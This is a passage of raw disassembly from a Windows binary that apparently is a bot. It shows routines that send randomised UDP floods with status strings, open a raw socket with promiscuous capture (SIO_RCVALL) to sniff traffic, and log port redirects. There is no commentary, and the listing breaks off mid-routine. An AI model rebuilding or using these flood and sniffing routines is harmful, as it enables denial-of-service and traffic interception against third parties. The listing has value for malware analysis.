		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4276D0	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014C4
sub_4276D0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4276F0	proc near		; CODE XREF: sub_401A05j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4276F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401730
		add	esp, 14h
		test	eax, eax
		jz	short loc_4277BE
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_4277BE:				; CODE XREF: sub_4276F0+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_4276F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427860	proc near		; CODE XREF: sub_401730j

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_4368E0
		push	esi
		push	11h
		push	2
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4278C1
		push	esi
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jnz	short loc_4278BA
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_4278BA:				; CODE XREF: sub_427860+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_4278C1:				; CODE XREF: sub_427860+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_50FABC
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_4278FD
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	near ptr 71AB2B66h
		nop
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42792E
; ---------------------------------------------------------------------------


loc_4278FD:				; CODE XREF: sub_427860+77j
		push	esi
		nop
		call	near ptr 71AB2B66h
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_42791B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42792E
; ---------------------------------------------------------------------------


loc_42791B:				; CODE XREF: sub_427860+ACj
		cmp	esi, 0FFFFh
		jle	short loc_42792E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_42792E:				; CODE XREF: sub_427860+9Bj
					; sub_427860+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_427944
		mov	[esp+28h+arg_FFE4], 1


loc_427944:				; CODE XREF: sub_427860+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_42797E


loc_42796B:				; CODE XREF: sub_427860+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_42796B


loc_42797E:				; CODE XREF: sub_427860+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_427A10
		mov	ebp, dword_50FC5C


loc_427996:				; CODE XREF: sub_427860+1AEj
		mov	al, byte_4D64B9
		test	al, al
		jz	short loc_427A10
		mov	esi, 0Bh


loc_4279A4:				; CODE XREF: sub_427860+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		call	near ptr 28C1E38h
		nop
		dec	esi
		jnz	short loc_4279A4
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_4279FB
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+48h+var_36], ax


loc_4279FB:				; CODE XREF: sub_427860+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_427996


loc_427A10:				; CODE XREF: sub_427860+12Aj
					; sub_427860+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_427860	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427A90	proc near		; CODE XREF: sub_40207Cj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A28
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_427AED
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427AED:				; CODE XREF: sub_427A90+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427B0D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427B0D:				; CODE XREF: sub_427A90+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 71AB2C69h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_427A90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427B70	proc near		; CODE XREF: sub_401D9Dj

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_4368E0
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40187F
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_446F30
		mov	eax, edi


loc_427BD7:				; CODE XREF: sub_427B70+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_427BFB
		test	cl, cl
		jz	short loc_427BF7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_427BFB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_427BD7


loc_427BF7:				; CODE XREF: sub_427B70+71j
		xor	eax, eax
		jmp	short loc_427C00
; ---------------------------------------------------------------------------


loc_427BFB:				; CODE XREF: sub_427B70+6Dj
					; sub_427B70+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_427C00:				; CODE XREF: sub_427B70+89j
		cmp	eax, ebx
		jnz	short loc_427C53
		mov	ebp, dword_4D60C7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_427C17
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427C5E


loc_427C17:				; CODE XREF: sub_427B70+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		call	near ptr 71AB50C8h
		nop
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		call	near ptr 71AB4FD4h
		nop
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_427C5E
; ---------------------------------------------------------------------------


loc_427C53:				; CODE XREF: sub_427B70+92j
		push	edi
		call	sub_40187F
		add	esp, 4
		mov	ebp, eax


loc_427C5E:				; CODE XREF: sub_427B70+A5j
					; sub_427B70+E1j
		cmp	ebp, ebx
		jz	short loc_427C67
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427C6D


loc_427C67:				; CODE XREF: sub_427B70+F0j
		mov	ebp, dword_4D60C7


loc_427C6D:				; CODE XREF: sub_427B70+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_427DAD
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_427DAD
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427DAD
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		call	near ptr 71AB4489h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_427DAD
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_427D93
		mov	ebx, dword_50FC90


loc_427D03:				; CODE XREF: sub_427B70+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_427D83
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_427D5E
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_427D7B
; ---------------------------------------------------------------------------


loc_427D5E:				; CODE XREF: sub_427B70+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_427D83
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_427D7B:				; CODE XREF: sub_427B70+1ECj
		call	sub_40207C
		add	esp, 8


loc_427D83:				; CODE XREF: sub_427B70+1C0j
					; sub_427B70+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_427D03


loc_427D93:				; CODE XREF: sub_427B70+187j
		mov	edx, dword_50FA84
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h


loc_427DAD:				; CODE XREF: sub_427B70+11Dj
					; sub_427B70+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_427B70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427E60	proc near		; CODE XREF: sub_401889j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427E60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_444F00
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E12C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427E60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427ED0	proc near		; CODE XREF: sub_401F82j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427ED0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427ED0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427F90	proc near		; CODE XREF: sub_40179Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427F90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427F90	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_428060:				; CODE XREF: ___:00401A14j
					; ___:loc_402068j
		push	esi
		mov	esi, ecx
		call	sub_40179E
		test	byte ptr [esp+8], 1
		jz	short loc_428078
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428078:				; CODE XREF: ___:0042806Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428090	proc near		; CODE XREF: ___:00401096j sub_401C2Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015F5
		test	[esp+4+arg_0], 1
		jz	short loc_4280A8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4280A8:				; CODE XREF: sub_428090+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428090	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4280C0	proc near		; CODE XREF: sub_4015F5j
		jmp	sub_40179E
sub_4280C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4280E0	proc near		; CODE XREF: sub_4015AFj
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_401D9D
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4280E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428200	proc near		; CODE XREF: sub_401884j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428200
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401F82
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_401424
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43E14C
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015D7
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_428200	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4282C0	proc near		; CODE XREF: ___:00401E15j sub_4021B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BD1
		test	[esp+4+arg_0], 1
		jz	short loc_4282D8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4282D8:				; CODE XREF: sub_4282C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4282C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4282F0	proc near		; CODE XREF: sub_401BD1j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_50FC88
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43E14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42830E
		push	eax
		call	edi	; closesocket


loc_42830E:				; CODE XREF: sub_4282F0+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42831C
		push	eax
		call	edi	; closesocket


loc_42831C:				; CODE XREF: sub_4282F0+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_40179E
		pop	edi
		pop	esi
		retn
sub_4282F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428360	proc near		; CODE XREF: sub_401D2Aj

var_B0		= byte ptr -0B0h
var_AA		= byte ptr -0AAh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_5C		= byte ptr -5Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_3C		= byte ptr -3Ch
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_C		= byte ptr -0Ch
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_C		= byte ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_24		= byte ptr  28h
arg_28		= byte ptr  2Ch
arg_34		= byte ptr  38h
arg_3C		= byte ptr  40h
arg_40		= byte ptr  44h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_4A		= word ptr  4Eh
arg_4C		= dword	ptr  50h
arg_50		= dword	ptr  54h
arg_54		= dword	ptr  58h
arg_58		= dword	ptr  5Ch
arg_64		= byte ptr  68h
arg_68		= byte ptr  6Ch
arg_6C		= byte ptr  70h
arg_91		= byte ptr  95h
arg_98		= byte ptr  9Ch
arg_9D		= byte ptr  0A1h
arg_AD		= byte ptr  0B1h
arg_D0		= dword	ptr  0D4h
arg_D4		= byte ptr  0D8h
arg_E0		= dword	ptr  0E4h
arg_E4		= byte ptr  0E8h
arg_EC		= dword	ptr  0F0h
arg_F0		= byte ptr  0F4h
arg_FC		= byte ptr  100h
arg_108		= byte ptr  10Ch
arg_12C		= byte ptr  130h
arg_150		= byte ptr  154h
arg_15C		= byte ptr  160h
arg_180		= byte ptr  184h
arg_18C		= byte ptr  190h
arg_1A4		= byte ptr  1A8h
arg_1B0		= byte ptr  1B4h
arg_1F8		= byte ptr  1FCh
arg_210		= byte ptr  214h
arg_228		= byte ptr  22Ch
arg_230		= byte ptr  234h
arg_240		= byte ptr  244h
arg_244		= dword	ptr  248h
arg_248		= dword	ptr  24Ch
arg_24C		= dword	ptr  250h
arg_258		= byte ptr  25Ch
arg_374		= byte ptr  378h
arg_3EC		= byte ptr  3F0h
arg_3FC		= byte ptr  400h
arg_40C		= byte ptr  410h
arg_41C		= byte ptr  420h
arg_42C		= byte ptr  430h
arg_43C		= byte ptr  440h
arg_44C		= byte ptr  450h
arg_45C		= byte ptr  460h
arg_478		= byte ptr  47Ch
arg_4478	= byte ptr  447Ch
arg_53D0	= dword	ptr  53D4h
arg_53E0	= dword	ptr  53E4h
arg_5434	= byte ptr  5438h
arg_5444	= byte ptr  5448h
arg_544C	= dword	ptr  5450h
arg_5454	= dword	ptr  5458h
arg_5480	= dword	ptr  5484h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BB32
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_4368E0
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	[esp+1Ch+var_A], 0


loc_428398:				; CODE XREF: sub_428360+FC6j
		lea	ecx, [esp+1Ch+arg_98]
		call	sub_401B36
		lea	ecx, [esp+1Ch+var_8]
		mov	[esp+1Ch+arg_5480], 0
		mov	[esp+1Ch+var_9], 0
		call	sub_401424
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_374]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+2Ch+arg_5480], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_4293B0
		lea	edx, [esp+1Ch+arg_374]
		lea	ecx, [esp+1Ch+arg_10]
		push	edx
		call	sub_401861
		push	offset byte_446F30
		lea	ecx, [esp+20h+arg_10]
		mov	byte ptr [esp+20h+arg_5480], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_428450
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_429320
